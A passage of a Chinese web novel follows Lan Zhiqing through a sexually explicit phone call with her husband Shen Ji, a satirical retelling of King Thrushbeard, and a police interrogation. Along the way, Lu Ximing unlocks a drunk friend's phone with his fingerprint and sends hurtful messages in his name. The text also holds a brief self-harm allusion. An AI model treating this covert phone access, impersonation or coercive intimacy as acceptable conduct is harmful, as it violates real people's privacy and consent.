屏幕那头的沈寂忙着疯狂截图录屏,兰稚青见他许久不吭声,她咬了一口脆脆的甜筒,又摸了一把自己的脸,有些奇怪问道:“怎么了,我脸上也没东西吧,你到底在笑什么?” “没笑什么……” 沈寂轻咳了一声,他转移话题道:“你说那个大专男的脸被砸烂了,会不会是因为凶手讨厌或者嫉妒他的脸,更或者是想要故意隐藏他的身份。” “……听起来好像也挺有道理的。” 兰稚青闻言若有所思,刚刚想要再说些什么却发现电话那头的沈寂一直在盯着自己看,那双漂亮多情的眼眸不知道是不是因为光线的问题看起来像是某种兽类的眼睛。 她皱了皱眉,毫不犹豫选择把视频通话切换成语音通话。 沈寂明显没料到会这样,他有些委屈开口道:“宝宝,怎么突然把视频关了?” “……因为你一直在盯着我。” 兰稚青总觉得沈寂看自己的眼神很别扭,不知道是不是因为今天又听到了那条蛇的声音,她总会莫名其妙开始想东想西,甚至脑子里又开始回想起那个沈寂突然变成白蛇的可怕噩梦。 “好吧,那我要去洗澡了。” 电话那头的沈寂似乎对兰稚青的行为有些不满,兰稚青闻言答应了一声,随手挂断电话,刚要退出软件却才发现路锡鸣给她发了一堆消息。 【学姐,今天真的好巧,和我一起打游戏的网友阿正就是你弟弟。】 【学姐,听伯母说你中午坐车来市区了,你现在在哪里呀,我们方便见一面吗,我给你带了一点小礼物(小狗比心.jpg)】 兰稚青盯着屏幕上的消息眉头紧皱,实在是没弄明白为什么路锡鸣会和兰智正混到一起,她刚刚想要打电话过去问问到底是什么情况,可是沈寂的电话却又先一步打了过来。 Schlange;【视频通话】 Schlange:【已拒绝】 Schlange:【怎么不接电话QAQ】 我是小皇帝(约稿请看置顶):【?】 我是小皇帝(约稿请看置顶):【你不是要去洗澡吗?】 Schlange:【对呀(小兔可怜.jpg)】 Schlange:【所以才要打视频电话嘛:D】 第32章 第32章不会是在偷偷做什么坏事…… 沈寂到底是怎么做到面不改色心不跳地说出这种口口之语的,难道厚脸皮真的也是一种天赋吗? 兰稚青耳朵通红,毫不犹豫严词拒绝了沈寂的视频通话。 我是小皇帝(约稿请看置顶):【我才不要和你视频,我又不是变态!】 Schlange:【可是再过一个小时就要到时间了。】 我是小皇帝(约稿请看置顶):【?什么时间?】 Schlange:【因为我突然想到你离开的时候我们没有亲亲,这样的话我们即将超过48小时没有贴贴了。】 我是小皇帝(约稿请看置顶):【……】 我是小皇帝(约稿请看置顶):【神经病!不准再给我发消息!】 果然她就不应该期待会从沈寂的嘴里说出什么正经话来。 兰稚青毫不犹豫选择单方面和对方切断了联系。 她无视了沈寂的消息,转而点开了和路锡鸣的聊天框,皱眉发去消息,【你和兰智正认识?】 【认识啊,我们是一起打游戏的网友,这回我趁着来F市玩,正好过来和他面基,没想到仔细一问才知道他是学姐的亲弟弟。】 路锡鸣很快又发了一张图片过来,【学姐你现在在哪呢,要不要一起出来吃饭!】 兰稚青看到路锡鸣的解释顿时眉头紧锁,她虽然知道兰智正一直有个叫“鸣哥”的网友,两个人天天打游戏打得不亦乐乎,但是万万没想到这个人竟然是路锡鸣。 她自认自己对于兰智正和路锡鸣都没有熟悉到这种程度,所以直接回绝了对方的邀请,关上手机准备去洗澡。 路锡鸣等了许久却只等到了兰稚青冷冰冰的拒绝回复,她甚至连多问几句他是怎么和她弟弟认识都没有,完全就像是在对待一个陌生人。 真是过分。 他随手一个罐头,那些流浪猫尚且知道蹭他的裤脚对着他喵喵叫。 路锡鸣轻啧了一声,那张向来阳光开朗的面容变得微微有些阴沉,下意识点了支烟想让自己冷静下来。 “那个……鸣哥。” 兰智正察觉到不远处几人投来的厌恶眼神,他有些尴尬,小声道:“这里应该是禁烟的吧。” “……不好意思,差点忘了,谢谢你提醒。” 路锡鸣像是后知后觉意识到这一点,他连忙熄灭了烟头,神色又恢复了自然,笑道:“你要吃什么就点吧,我刚刚问过学姐了,她说她有事就先不过来了。” “我都说了吧,她肯定不会来的,鸣哥你是不知道,我姐这人最喜欢拿乔了,说白了就是矫情,你不用理她。” 兰智正从善如流拿起了菜单,看着上面的菜品满眼放光,心里对路锡鸣的财力更有了新的认识。 从前他就知道路锡鸣是个富二代,毕竟他在游戏里随手一充都是他一个月的生活费,今天见了面之后才发现路锡鸣远比他想象中的更有钱。 难得可以来这种贵价餐厅吃饭,他大哥和嫂子急着回去没享受到,一会儿他可得多拍几张照片发到朋友圈炫耀炫耀。 兰智正兜里没钱,但是不妨碍他点菜的时候一点都不怯场,两个人吃饭硬生生被他点出了八个人的菜量。 路锡鸣对此全程无动于衷,他看着兰智正拿着手机四处拍上菜之后又吃得狼吞虎咽,喝完红的又要喝白的,就差没把想占便宜这几个字写在脸上了。 兰智正根本不需要别人劝酒,他自己就能给自己喝晕乎了,他和路锡鸣从游戏球鞋谈到手表豪车,最后又绕回了兰稚青的身上。 “鸣哥,你和我姐是怎么认识的啊……” 兰智正一想起兰稚青就窝火,他轻嗤道:“就她那个臭脾气,我还寻思着她没朋友呢。” “之前社团活动见过,今年还一起上了同一门课。” 路锡鸣回答了一句,他顿了顿,又补充道:“学姐很厉害,我们的小组作业得分最高。” “那是肯定的啊,我姐虽然别的都不怎么拿得出手,但是学习肯定是让人挑不出错来,她从小到大一直考第一,你要是以后有什么作业不想写的,尽管找她帮忙就是了。” 兰智正毫不犹豫打着兰稚青的名头买了个人情给路锡鸣,几杯酒下肚,他的话匣子也算是彻底打开,对着路锡鸣一通高谈阔论。 他洋洋自得道:“不过她学习好也得多亏我和我哥,当时我哥上初中的时候,他的作业都是我姐帮忙写的,这不也算是提前磨炼了吗。” 路锡鸣闻言挑了挑眉,他抿了一口酒,似笑非笑道:“这么厉害啊,你姐学习这么好,从小到大肯定没受过什么挫折吧。” “挫折……她能有什么挫折,最多就是小时候走丢受了两天罪,反正她现在是不得了了,找了个有钱老男人,尾巴看着都要翘上天了,回家对我又打又骂的。” 兰智正借着酒意开口道:“鸣哥,说真的,要是你是我姐夫就好了,咋俩多投缘啊。” “这我可没办法,你姐不是已经有男朋友了吗?” 路锡鸣笑了笑,他主动岔开了话题,问道:“你说学姐小时候走丢了,这是怎么一回事啊。” “这个事我也不太清楚,光是听我爸酒后说了个大概。” 兰智正给自己倒了杯酒,解释道:“我爸以前是海员,他之前有个同事和一个德国女人结婚了,一直定居在德国但是一直没有孩子,所以想来我们家领养一个。” “那对夫妇上门的时候看中了我,不过我爸妈不答应,他们又换成了我姐,说好每个月会给我爸妈寄八百块钱,等人走了时候才发现那两人其实是人贩子。” 路锡鸣闻言微微一顿,皱眉道:“那这应该不能叫走丢,应该叫拐卖吧。” “……理确实是这么个理,但是我姐那个时候是 自己跑回来的,回来一直念叨什么蛇啊神啊的,后来又发烧住院,这些事也就都不记得了。” 兰智正话都说完了才意识到不对,连忙又补充道:“我爸妈怕她又想起来害怕,所以干脆就一直说她是自己走丢的。” “鸣哥,我是把你当亲哥才和你这么掏心掏肺的,这事你可别去和我姐说啊。” 路锡鸣闻言挑了挑眉,点头道:“当然,我一定会保密的。” …… 兰稚青整个人都浸泡在浴缸中,感觉紧张疲惫的身心在瞬间放松了下来。 其实她很喜欢这种被温暖的水流所包围的感觉,有一种重新回到羊水之中的错觉,下一秒她就可以拿脐带上吊,结束掉她往后的悲惨生活。 不过酒店到底只是酒店,没有人会像沈寂一样帮她在浴缸里放会呲水的小黄鸭和可以在水里打滚的小海豚。 沈寂…… 她为什么又要想沈寂。 兰稚青盯着水面发呆,开始思考一些有关生命的哲学问题。 她对Schlange是依赖还是爱,她应不应该为了那点爱与依恋选择无视一切,明天早上是吃豆沙糕还是鸡蛋灌饼,是喝小米粥还是喝豆浆…… 兰稚青不自觉地摸了摸自己的手臂,不知道是不是她产生了错觉,她总觉得水温似乎在渐渐升高,热得她有些莫名的心慌。 她觉得自己的呼吸都变得有些困难,所以挣扎着从浴缸中起身,用冷水洗了一把脸让自己勉强清醒下来。 到底是怎么回事,她是不是今天出门穿的太少有些感冒了…… 兰稚青仰倒在柔软的床上,她摸了摸自己的额头,可是却并没有感受到有发烧的迹象。 她并没有多想,只是飞快把自己裹进了厚厚的被子里,试图借着所谓“睡一觉就好了”的神奇咒语缓解自己的不适。 但这一次,这个方法却好像是失效了。 兰稚青有些不耐烦地在床上翻了个身,她觉得自己身上莫名的燥热,只能把空调的温度调的更低了一些,可是这样不仅没有任何改善,反而是让她更加难受。 她能明显感受到自己的皮肤是冷的,而她的皮肉和血液却是滚烫的,她的神经在这种灼热的感觉之下变得摇摇欲坠。 好难受…… 兰稚青闭了闭眼,她试图自己去找寻解决燥热的源头,手指有些犹豫地顺着睡裙的裙摆探了进去。 可是这一切似乎都只是徒劳,她像是被架在了火堆上的苹果,汁液顺着缝隙滴到了火堆,但她不仅得不到解脱,反而是感受到火越来越盛。 她觉得自己的大脑渐渐变成了浆糊,神智似乎也开始恍惚,急促的呼吸昭示着她的不平静。 放在旁边的手机响个不停,兰稚青忍无可忍按下了接通,看到电话那头衣着整齐的沈寂,她几乎要掉下泪来。 “咦……我们宝宝脸怎么这么红。” 沈寂似笑非笑地打量着她,反问道:“该不会是在偷偷做什么坏事吧?” “你对我做了什么……” 兰稚青闻言毫不犹豫关掉了自己的摄像头,她几乎要被这种奇怪的感觉逼疯,颤声道:“是你对不对,你是不是给我下了什么药……” “宝贝,这只是一种生理上的本能,我们都两天没有见面了,怎么有办法给你下药呢。” 沈寂轻轻叹了一口气,他刚刚才觉得自己稳定下来,现在看到兰稚青这幅样子又有些心思浮动。 不过现在明显是兰稚青比较重要一些,沈寂放柔了声音,轻声哄道:“乖乖,自己摸一摸好不好?你试着自己来,很快就不会难受了。” “我……我不行……” 兰稚青几乎要把自己的下唇咬破,她崩溃道:“你现在马上过来,我试过了,我真的做不到……” “乖乖,我们现在距离太远了,不要撒娇,你耐心一点,很快就会舒服了。” 兰稚青没有回答,她把脸埋在了枕头里小声抽泣,恨不得现在就把电话那头的沈寂砸个稀巴烂。 “我讨厌你……” “又开始讨厌我了?” 沈寂听到了电话那头若有若无的哭声,他只能轻声哄道:“不要哭了,你跟着我说的慢慢来好不好?” 兰稚青没有回答,但是沈寂知道她算是默许答应了,他放柔了自己的语气,“不开摄像头吗,我们宝宝这么漂亮,不打算和老公分享欣赏一下吗?” 兰稚青耳朵通红,她无意识缩了缩脚趾,小声道:“我不漂亮……没有你漂亮。” “怎么会呢,我们宝宝浑身上下哪里都是漂亮的。” 沈寂见兰稚青不愿意打开摄像头也不恼,他慢条斯理道:“要不要试试了解一下自己的身体?上一次我应该教过你吧。” “做事情要耐心一点,不要每次像是捏面团一样那么粗暴地欺负它,用指尖轻轻揉一揉,这样它才会小心翼翼地和你打招呼。” “它和你一样害羞,总是怯生生的,所以你要温柔一点,不要吓到它,等到它对你放松警惕,你才可以更加用力一些。” “如果我在的话……那我会用牙齿咬它,你知道那种小小的樱桃吗,咬一口就会溅出汁水。” “不要……不要咬……” 兰稚青被沈寂所描绘的场景所感染,她在意识迷蒙之间下意识就想要拒绝。 “你又在说不要了,其实我们宝宝也很舒服对不对,稍微舔舔你就会哭,第一次这么做的时候,我第二天洗了三条床单。” 电话那头的沈寂轻笑了一声,提议道:“下一次要不要试试脱敏疗法,比如说……我把你绑起来怎么样,你好像总喜欢在枕头下藏一些奇奇怪怪的东西,上一次藏的是美工刀,上上一次藏的是麻绳。” “下一次宝宝你再口是心非的时候,我就用麻绳把你绑到椅子上,这样的话你就挣脱不开,就算我对你做更过分的事情,你也没有办法把腿合上。” “怎么突然喘的这么厉害?你果然是喜欢这一种吗。” 沈寂听到电话那头兰稚青逐渐急促的呼吸声,他轻笑道:“原来我们宝宝这么坏,上一次在车里也是,我还没对你怎么样,你自己就已经去了两次。” 兰稚青重重颤抖了一下,她的大脑一片空白,盯着空荡荡的天花板,眼泪由于过度的刺激不自觉地流了下来,她的耳边仿佛什么声音都听不到了。 沈寂凭借着她的呼吸声就能推断她到了什么地步,他静静等着兰稚青回神,小声道:“我爱你。” 兰稚青在意识回笼后听到了第一句话便是这三个字,她轻轻闭上了眼睛,在漫长的折磨后终于忍不住嚎啕大哭。 “你说谎,你才不爱我,你一点都不爱我……” “宝宝,我怎么会不爱你呢。” 沈寂闻言皱了皱眉,他敏锐察觉到自己和兰稚青应该在某些交流上出了问题,所以他耐着性子问道:“为什么会说觉得不爱你,是我哪里惹你生气了吗?” 兰稚青没有回答,她沉浸在突如其来的悲伤中,整个人哭到难以自抑。 沈寂没办法,只能再度开口道:“宝宝,我是Schlang e啊,你不是说过我是这个世界上最爱你对你最好的人吗?” 电话那头的兰稚青听到Schlange的名字哭声渐渐停了下来,她像是咽下了一粒特效药,很快便止住了她所有的疼痛。 “Schlange……” “嗯,我在这里。” 沈寂从很久以前就有所察觉兰稚青对“Schlange”似乎过度依恋,但是直到今天才发现她竟然已经到了这种程度。 这甚至已经给他造成了一种错觉,兰稚青似乎把他和Schlange分割成了两个完全不同的人。 这种认知让他觉得颇为挫败,沈寂轻轻叹了口气,电话那头的兰稚青又在怯生生地撒娇,“我好累哦,可以给我讲故事吗。” 这是兰稚青以前在网上和他聊天时的习惯,她很少出门,但是非常喜欢听沈寂说起外面的故事,读万卷书行万里路,她不喜欢走路,所以只要听到旁人的转述就已经心满意足。 有一点像缠着兔妈妈询问了解外界发生什么的小兔子。 等一下,她该不会是真的把他当妈了吧…… 沈寂思及此处不由得陷入了沉思,电话那头的兰稚青许久都没有等到他的回答,她有些失落,小声道:“不可以吗?” “……可以,你想听什么。” “都行。” 兰稚青犹豫了一下,又小声试探道:“可以讲童话故事吗,我有一点困了。” 沈寂:“……” 讲童话故事哄睡觉……兰稚青不会真的把他当妈了吧?! 他深吸了一口气,并没有拒绝兰稚青的要求,慢吞吞开口道:“从前有一位国王,他有一位非常优秀的女儿,为了给公主寻找一位合适的未婚夫,他在王宫里举办了盛大的宴会,邀请了所有想要求娶公主的人。”(1) “可是公主看不上他们,一会儿说别人太胖,一会儿又说别人太矮,里面有一位求婚者下巴太翘,她便给对方取了个外号叫做画眉嘴。” 画眉嘴国王……是她知道的童话故事。 兰稚青安心地闭上眼睛,准备听着沈寂的声音步入梦乡。 沈寂继续开口道:“国王对此大动肝火,他见自己的女儿竟然不服从自己的控制,认为自己的父权和王权遭到了挑衅,所以发誓要把她嫁给第一个上门讨饭的乞丐。” “……等一下。” 兰稚青猛然睁开眼睛,奇怪道:“故事里有这段吗?我明明记得国王是觉得公主太过傲慢无礼呀。” 沈寂闻言无比坦然,无辜道:“可是你不觉得这样解释更加合理吗?” “……好吧,你继续吧。” “几天后,果然‘有一个乞丐来到了王宫,国王迫不及待让牧师为他们准备的婚礼,他说:【以后你不再是尊贵的公主,而是乞丐的妻子,所以你不可以继续留在王宫。】” 公主回答:【三十年河东三十年河西,莫欺少年穷,他日我若乘风起,扶摇直上九万里,老登我们等着瞧。】” “???” 刚刚闭上眼睛的兰稚青再度睁开眼睛,震惊道:“西方童话哪有这种桥段。” 沈寂毫无半分悔意,慢条斯理道:“因为我做了一些符合时代化的改编。” 兰稚青“……” 他轻咳了一声,继续道:“公主没办法,只能带着两百多根地瓜干,三斤无花果和五斤柴鸡蛋跟着乞丐一起离开……” 兰稚青彻底睡意全无,崩溃道:“为什么上路要带这么多东西!” “当做干粮啊,不然路上不就饿死了吗?” 沈寂语重心长道:“宝宝,做人不可以这么双标,只准你回家的时候往行李箱里塞零食大礼包,不允许公主带两百多根地瓜干,三斤无花果和五斤柴鸡蛋上路吗?” 兰稚青:“……” 这两件事根本就不一样! 沈寂继续说道:“路过一片大森林时,公主问,【这片大森林是谁的?我好喜欢啊,如果我有一片大森林,那我就可以在里面打猎了。】 乞丐回答道:【这是画眉嘴国王的,如果你当初嫁给他,那这片森林就是你的。】 公主说:【就你废话那么多。】” 兰稚青:“……” “紧接着他们路过一片美丽的绿草地,公主问,【这片美丽的绿草地是谁的,我好喜欢啊,如果我有这么美的绿草地,我就可以野餐露营了。】 乞丐回答道:【这是画眉嘴国王的,如果你当初嫁给他,那这片草地就是你的。】 公主说:【你不说话会死吗?】” 兰稚青:“……” “然后他们又路过一座繁华的城市,公主问:【这座美丽的城市是谁的,我好喜欢啊,如果我有这样一座城市,那我就可以放手施展我自己的才能了。】 乞丐说:【这是画眉嘴国王的,如果你当初嫁给他,那么森林,草地和这座美丽的城市都是你的。】 公主十分震惊,她羡慕道:【我真是个可怜的女孩子啊,这么多美丽的东西竟然都是属于画眉鸟国王的吗?】” 兰稚青:“……” 虽然过程有离谱,但是结局总算回归正轨。 她安心闭上了双眼,准备安然进入梦乡。 电话那头的沈寂继续说道:“公主感慨着美丽的森林绿草地和城市,于是她毫不犹豫在地瓜干里下毒毒死了乞丐。” 兰稚青:“……?” 她垂死病中惊坐起,难以置信道:“为什么要毒死乞丐?” 沈寂轻笑了一声,继续说道:“宝宝,那个乞丐也是这么问公主的,他在临死前说:【你为什么要给我下毒呢?】 公主说:【虽然你打扮的很穷酸,但是你的下巴这么翘,我一眼就认出你是讨人厌的画眉嘴国王。】” 兰稚青:“……” 她有些疲惫地闭了闭眼,视死如归道:“你直接告诉我结局吧。” “公主毒杀了画眉嘴国王,把他的死推到了自己的父亲身上,趁着两国鹬蚌相争,她在鱼腹中塞了纸条,高呼苍天已死,最后带着一众人马杀回王宫吞并邻国,成为了新的国王,得到了美丽的森林绿草地和城市。” 沈寂一口气说完了故事的结局,含笑问道:“是不是非常励志啊?” 兰稚青:“……” 以后你们写同人文的不准乱动笔。 第33章 第33章不要孵蛋啊 或许是沈寂讲的故事太过离谱,兰稚青在梦中都睡不安稳。 她发现自己又变成了上京赶考的书生,独自一人行走在茫茫无际的山路之上。 只不过这一次她比上回长了心眼。 路上有人问她要不要借宿,吹嘘道:“我们是十里八村有名的富商,主子心慈,见你一个读书人孤苦无依,所以想要暂时收留你一番。” 兰稚青宁可饿着渴着也不打算重蹈覆辙,所以毫不犹豫开口拒绝,只是一昧赶路,准备参加科举。 或许是这么多年读书考试的本能,她一举夺魁,扬眉吐气,在殿试被皇帝钦点为新科状元。 兰稚青风风光光骑马游街,可谓春风得意马蹄疾,享尽了城中众人艳羡的目光。 长得一看就像是NPC的皇帝和善道:“我见爱卿天纵奇才,这俗话说人生四喜,久旱逢甘露,他乡遇故知,洞房花烛夜,金榜题名时,你既已金榜提名,朕也有意为你再添一喜,公主对你一见倾心,你二人便择日成婚吧。” 兰稚青闻言不禁想到了自己家中每日清晨五点便起床操持家务的发妻沈寂,他送她进京赶考时还把家里仅剩的两百多根地瓜干,三斤无花果和五斤柴鸡蛋塞到了她的书筐。 如今她既然已经功成名就,怎可再做那等忘恩负义的小人。 兰稚青心中愧疚,一时忍不住潸然泪下,开口拒绝道:“微臣已有发妻,断断不可 再迎娶公主,还望陛下收回成命。” 皇帝似乎也为她真挚的感情所打动,他长叹一声,“既然你们无缘,那这桩婚事还是算了吧。” 兰稚青闻言连忙拱手谢恩,却没想到下一秒皇帝口吐白沫倒在龙椅之上,手里还拿着半根没啃完的地瓜干。 她心中震悚,只见一个和沈寂长得一模一样的华服公主从屏风后走了出来,二话不说便将她五花大绑,恶狠狠说道:“你竟然敢不娶我,哼,我可有的是力气和手段,今天就让你好好见识一番。” “……?” 兰稚青试图挣扎,但无奈对方力气太大,她根本无法反抗,又听闻公主造反成功,如今已是新帝,心中更是震惊万分。 沈寂用绸缎把她绑在了床上,只要她不听话,他就立马舔她咬她,甚至还打她屁股扇她那里,不管白天黑夜用各种千奇百怪的手段对付她。 兰稚青瑟缩窝在被子里,她想到自己远在故乡对自己言听计从的温柔发妻,心中不由得更加凄凉,忍不住又掉下眼泪。 “乖宝,你不要哭了,你看看我们的孩子,它长得多好啊。” 沈寂把一个手里的襁褓塞到兰稚青的怀里,兰稚青有些懵懂地掀开,发现里面竟然是—— 一颗白生生的蛋。 “我们的孩子为什么会是个蛋啊?!” 兰稚青一脸震惊,沈寂对此却见怪不怪,甚至还给蛋打了一个漂亮的蝴蝶结。 他慢条斯理解释道:“你忘记了,我们的孩子被邪恶的巫师诅咒,只有真诚的眼泪落在蛋上,诅咒才可以解除。” 兰稚青看到这颗白生生的蛋,她不禁又想到自己当年离家时她穿着粗布麻衣的贤惠妻子塞给她的柴鸡蛋,虽然已经时隔这么长时间,可依旧恍然隔日。 她终于忍不住落下泪来,下一刻,她手里的蛋突然开始破壳,露出了妮妮的兔子脑袋。 兰稚青见状连忙拨开蛋壳,而后看到它的身下是一条白色的蛇尾。 “……!” 兰稚青猛然惊醒,她喘着粗气从床上坐了起来,只觉得意识混乱头疼欲裂。 ……她就不应该在睡前听沈寂讲故事,兔头蛇尾,这都是什么乱七八糟的东西。 “做噩梦了吗?” 一道熟悉的声音突然自旁边传来,兰稚青吓得尖叫了一声,下意识用被子把自己死死裹了起来。 “宝宝,你还好吗?” 沈寂听到兰稚青的尖叫声也吓了一跳,他急切问道:“怎么了,出什么事了?” 兰稚青后知后觉才发现沈寂的声音是从她放在床头的手机里传出来的。 她当时听完沈寂讲的故事后和他有一搭没一搭地说了会儿话,后来不知不觉间就睡了过去,没想到自己竟然忘了挂断电话。 “……我没事,就是做了个噩梦。” 兰稚青默默又裹着被子挪了过去,小声道:“你怎么还没睡?” “因为宝宝一直在哼哼唧唧地说梦话。” 电话那头的沈寂闻言轻笑了一声,“我有点好奇你做了什么梦,难道是梦到自己变成小狗狗了吗?” “……我才没有!” 兰稚青闻言又想到了沈寂梦里的所作所为,她又气又羞,“谁让你偷听我说梦话的,你难道不会挂电话吗?” “原本为了尊重宝宝你的隐私,我是很想挂断的,可是你一直在喊我的名字。” “你胡说!我才没有!” 兰稚青气得想要现在当场立马挂断电话,可是又觉得自己这样显得太心虚了,她睡得太沉,实在不清楚自己到底迷迷糊糊说了些什么。 她把头重新埋进了被子里,不打算再理会沈寂,整个人看起来都像是霜打的茄子一样。 “生气了吗?” 沈寂听到兰稚青那边没了声音,他放柔了声音和她道歉,“对不起乖乖,下次我会注意的。” 电话那头的兰稚青没有说话,沈寂不由得轻轻叹了口气,刚刚想顺着兰稚青的意思挂断电话,闷在被子里的兰稚青却突然开口:“不准挂电话……” 她有些别扭地小声重复道:“你不准挂我的电话。” 沈寂闻言一怔,他轻笑了一声,温柔道:“好吧,那我陪着宝宝一起睡觉吧。” 兰稚青声音很小的应了一声,她默默闭上了眼睛,许久之后突然小声道:“Schlange?” “宝宝,我在呢。” 电话那头的沈寂闻言几乎是立马回应,兰稚青心情稍定,这才终于安心继续步入梦乡。 路锡鸣有些嫌弃地把一身酒气的兰智正扶进了房间,任由兰智正在沙发上睡得东倒西歪的,他自己则是拿出电脑坐到了桌边,开始搜索起了兰智正所说的拐卖案。 F市,德国夫妇,人口拐卖。 路锡鸣随意选取了几个最重要的关键词,他对此本来没抱什么希望,但是却没想到真的被他查到了一些蛛丝马迹。 就像是兰智正所说的那样,那对所谓的德国夫妇打着要领养孩子的名头四处作案,当年虽然算不得轰动,但是也被新闻媒体大肆报道了一番。 人在童年时期的创伤经历会影响人的一生,被抛弃的孩子,性格会变得患得患失,很难对亲密关系产生安全感,被经常拒绝的孩子会变得胆怯自卑,难以拥有足够的配得感,被侮辱过的孩子,长大后会更容易变得极端易怒。 兰稚青这么幸运偏偏失去了这段记忆,这怎么可以呢。 人还是应该面对现实才对。 路锡鸣随手把那些报道保存下来,尽数放进自己加密的文件夹,而后又拿出了兰智正的手机,那是他趁着兰智正喝醉的时候偷偷顺走的。 兰智正现在已经醉晕了,路锡鸣甚至不需要再另外破解他的密码,直接把他的手指头按上就能指纹解锁。 他把兰智正的手机几乎翻了个遍,而后又点进他的聊天软件,先是翻了翻他平时的记录,象征性地骂了几个人作为掩饰。 最后才截了几张他们的家族群聊图发给了兰稚青,甚至特地学着兰智正的口吻发去消息。 【虽然你当初被爸妈卖了,但是后面不是又把你找回来了吗,你别一天到晚拽的像是谁欠你一样。】 【咱们家群里都没有你,你也不想想是为什么,你怎么还好意思厚着脸皮回来的,就因为你给老男人当小情人吗?】 等到做完这一切,他才把手机塞回兰智正的手中,起身倒了杯水把兰智正拍醒。 “阿正,你醒醒……起来喝点水。” “……鸣哥?” 兰智正悠悠转醒,他没有多想,直接将水一饮而尽,看到路锡鸣放在桌子上的电脑,他含含糊糊道:“你在打游戏吗?玩的什么啊。” “没有,只是改个论文格式而已。” 路锡鸣笑了笑,“你也别玩手机了,去床上睡吧,能舒服一点。” “手机……” 兰智正没有多想,他抓起自己的手机走进了套房里的卧室,倒在床上继续呼呼大睡。 路锡鸣嗤笑了一声,打开手机慢吞吞给兰稚青发消息。 【学姐,你和阿正是吵架了吗?他喝了酒一直在骂人。】 对面许久都没有回复,路锡鸣也不着急,他轻哼着歌走进对面的卧室,准备等着明天一觉醒来见证效果。 ———— 昨天晚上睡得有点晚,兰稚青睡醒的时候已经临近中午,她有些懵然地睁开眼睛,发现自己和沈寂的电话竟然还没有挂断。 “宝宝,睡醒了吗?” “……嗯。” 兰稚青把脑袋埋在枕头里应了一声,含糊道:“你怎么还没挂电话?” “因为你说过不让我挂你的电话。” 沈寂低头看了一眼时间,提醒道:“已经到中午了,你该起床吃饭了,不然很容易低血糖的。” “没胃口,不想吃……” 兰稚青在床上打了个滚,她摸到了放在床头的手机,本来打算看看时间,却不想一打开手机就是好几条附着图片的短信。 她原本还没怎么在意,可是看到里面的内容却突然清醒了过来。 兰稚青一眼就能认出这是兰智正发来的消息,虽然她把兰智正其中的一个号码拉黑了,但是兰智正不止一张手机卡,自然可以再换号给她发消息。 她翻完了他发来的图片和消息,兰家的家族群里并没有她,他们在里面讨论她的彩礼应该要多少,有了钱之后又该怎么处理,这些她早就已经知晓,心里早就已经毫无波澜。 可是里 面的一条消息却让她很在意。 【虽然你当初被爸妈卖了……】 什么意思……她难道不是自己走丢的吗?为什么兰智正说她是被卖的。 兰稚青大脑一片空白,她甚至顾不上和沈寂解释那么多,匆匆挂断了沈寂的电话,毫不犹豫又拨通兰智正的号码。 第一次没有打通,第二次铃声响了好久才终于被接起。 宿醉被吵醒的兰智正一脸懵然地接通了电话,没好气道:“谁啊,大早上的你就不能……” “兰智正,你给我发的消息是什么意思?!” 兰稚青觉得自己的脑子像是蒙上了一层迷雾,只差一步她就可以接近事情的真相,她拔高了声音,质问道:“为什么说我是被爸妈卖了,我难道不是走丢的吗?” “……什么?” 兰智正觉得自己耳膜一痛,他下意识把手机拿的远了一些,皱眉道:“你大早上发什么疯,你都把我拉黑了,我什么时候给你发过消息……” 他有些不耐烦地解锁手机看了一眼,看到屏幕上停留的短信页面他登时吓清醒了。 不是……怎么会这样,他怎么会给兰稚青发这些东西。 兰智正匆匆翻了翻短信的页面,愣是没有想起来自己昨天晚上到底是什么时候发了这些。 “阿正,你醒了吗?” 路锡鸣敲了敲兰智正的房门,热情道:“你昨晚喝的太多了,我给你打包了一些粥点,你要不要起来吃一点。” 兰智正听到路锡鸣的声音陡然清醒过来,他挂断了兰稚青的电话,下意识打开了房门,看到一脸阳光开朗的路锡鸣,脸上不由得闪过了些许的怀疑。 “……鸣哥,我昨晚喝多了,应该没耍什么酒疯吧。” “酒疯?” 路锡鸣闻言脸上闪过些许尴尬,他摸了摸鼻子,“酒疯倒不至于,只是你昨晚从一进酒店大堂就开始骂人,说你室友乱用你的东西是小偷,还有你爸妈偏心你哥给他买车买房,你姐脾气不好,要去骂她……” “不是……我怎么连这种事都说了。” 兰智正闻言再度解锁手机,发现自己给好几个同学室友甚至是老师都发去了一系列的谩骂之词,他不禁眼前一黑,差点直接晕过去。 果然是酒精害人,他喝醉后竟然干出这种蠢事…… 兰智正心中懊悔,心中对路锡鸣的猜测也尽数打消,兰稚青还在不知疲倦地给他打着电话,看起来像是发誓要弄个明白。 他不知道怎么应对,只能匆匆把他的号码拉黑。 路锡鸣见状挑了挑眉,问道:“怎么了?” “没事……” 兰智正尴尬挤出一个笑容,“鸣哥,我这两天能跟着你一起住吗?” 他觉得兰稚青多半要回家大闹一场,他想起兰稚青打他时候的样子就觉得浑身疼,还是住在外面保险一些。 兰稚青发现兰智正把自己拉黑,她下意识想要打电话给父母问个明白,可是还没有等到她拨通号码,警局的电话却先一步打了过来。 今天和她联系的依旧是那个年轻的孙警官,对方说案件有了新的进展,让她马上过去一趟。 兰稚青皱了皱眉,最终还是答应了下来,匆匆起床洗漱赶往警局。 今天那位林警官不在,取而代之的是一个四十来岁姓李的严肃男警官,对方上下打量了她一眼,冷冰冰道:“兰青稚是吧,跟我过来一下。” “……我叫兰稚青。” 兰稚青小声嘟囔了一句,对方听见了,但是却并没有理会,而是把她径直带入了审讯室。 昨天她过来的时候只是在一个普通的房间接受问询,可是今天却突然被带到了冷冰冰的审讯室。 兰稚青扫了一眼周遭冷冰冰的设备,她本来就因为兰智正发来的消息心思浮动,现在更是难以定下心来,掌心都开始冒冷汗。 “兰女士,你说你案发时间,也就是昨天凌晨两点到三点一直在家中对吗?” 李警官负责问询,年轻一点的孙警官则是负责记录,兰稚青闻言老老实实点了点头,“对,我在家里。” 对方挑了挑眉,突然问道:“你结婚了对吧?” “……对,但是这和案件有什么关系吗?” “十一月二十八号的晚上,你记得你丈夫在做什么吗?” 兰稚青闻言眉心一跳,她想起沈寂的说辞,脱口而出道:“那天我们一起在兔兔主题餐厅吃饭。” “哦?你的记忆力这么好。” 李警官明显不信她的说辞,质疑道:“正常人听到一个时间一般都会思考一下吧。” “……那天是我们接吻第七十七天的纪念日。” 兰稚青毫不怯场地和他对视,“不可以吗?” 李警官被她的回答哽了一下,他又开口道:“昨天你说你和死者自从那次同学会到你回家之前这段时间一直没有任何的交集,但是根据我们的调查,十一月二十八日的时候,死者曾经在A市警局报案,说你的丈夫沈寂开车撞他,而且将他打得头破血流。” 李警官将证据摆在了兰稚青的前面,问道:“这就是你说的没有交集?” “可是这又不是我老公干的。” 